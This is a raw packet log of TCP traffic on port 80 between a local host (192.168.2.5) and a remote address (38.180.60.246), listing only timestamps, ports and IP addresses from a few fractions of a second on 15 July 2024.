Jul 15, 2024 00:48:24.275290966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.275294065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275305986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275311947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.275317907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275331020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275337934 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.275341988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275357008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.275382042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.275775909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275794029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275805950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275818110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275824070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.275830984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275845051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275849104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.275856972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275870085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.275876045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.275896072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.275917053 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276139975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276175976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276199102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276210070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276230097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276247025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276324034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276335001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276348114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276354074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276370049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276371956 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276386976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276400089 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276439905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276451111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276463032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276469946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276488066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276501894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276582956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276593924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276604891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276618004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276624918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276633024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276637077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276644945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276664019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276840925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276853085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276865005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276876926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276890039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276894093 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276901960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276915073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276921988 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276926041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276935101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276938915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276952028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276966095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.276973963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276995897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.276995897 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277008057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277012110 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277019024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277030945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277040005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277043104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277056932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277057886 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277071953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277074099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277085066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277096987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277098894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277108908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277122021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277126074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277133942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277148962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277153015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277162075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277167082 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277175903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277194023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277220011 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277591944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277611971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277623892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277628899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277636051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277642965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277647972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277661085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277661085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277673960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.277677059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277693033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.277714968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.288866997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.288901091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.288913012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.288930893 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.288949013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.288964987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.288976908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.288990021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.288997889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.289004087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.289016962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.289027929 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.289052963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.356312990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.356340885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.356353998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.356431007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.356446028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.356520891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.356549978 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.356559038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.356570959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.356585026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.356596947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.356597900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.356610060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.356611013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.356636047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.356656075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.356787920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.356801033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.356813908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.356827021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.356842995 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.356858015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.356879950 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.358268976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.358283043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.358294964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.358308077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.358319044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.358326912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.358330965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.358344078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.358361006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.358376980 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.358403921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.358444929 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.360264063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.360276937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.360290051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.360302925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.360316038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.360326052 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.360328913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.360358953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.360372066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.360443115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.360455036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.360477924 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.360495090 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.365650892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.365700960 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.365714073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.365727901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.365751028 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.365765095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.365859032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.365871906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.365896940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.365907907 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.365926981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.365938902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.365951061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.365962982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.365962982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.365976095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.365982056 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.365988970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366000891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.366033077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.366152048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366163015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366175890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366189003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366197109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.366202116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366214037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366228104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.366261959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.366282940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366317034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.366449118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366461992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366475105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366487026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366499901 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.366499901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366508961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.366513014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366525888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366537094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366539001 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.366549015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366559029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.366561890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366583109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.366605997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.366794109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366842031 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.366941929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366961956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366974115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366982937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.366986036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.366997957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.366998911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367011070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.367012024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367024899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367034912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.367037058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367048979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367059946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367064953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.367074013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367086887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367091894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.367120981 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.367141962 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.367326021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367337942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367348909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367355108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367367029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367378950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367386103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.367396116 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.367425919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.367611885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367624044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367635965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367649078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367660999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367665052 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.367674112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367683887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.367688894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367696047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.367702961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367726088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.367750883 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.367939949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367953062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367964983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367978096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367986917 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.367990017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.367995024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.368001938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368016005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368027925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368030071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.368040085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368051052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368052006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.368063927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368072033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.368096113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.368110895 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.368432999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368448019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368459940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368472099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368485928 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.368493080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368504047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368515968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368520975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.368527889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368539095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368542910 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.368551016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.368561983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.368582010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.379494905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.379540920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.379549026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.379553080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.379576921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.379609108 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.379647970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.379661083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.379673004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.379687071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.379687071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.379700899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.379703045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.379724979 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.379724979 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.379745007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.446989059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447019100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447031975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447099924 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.447113991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447127104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447137117 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.447143078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447158098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447165966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.447180033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.447225094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.447258949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447271109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447297096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.447307110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447316885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.447325945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447338104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447349072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.447370052 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.447381973 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.447402000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447415113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447428942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.447438955 CEST	49704	80	192.168.2.5	38.180.60.246
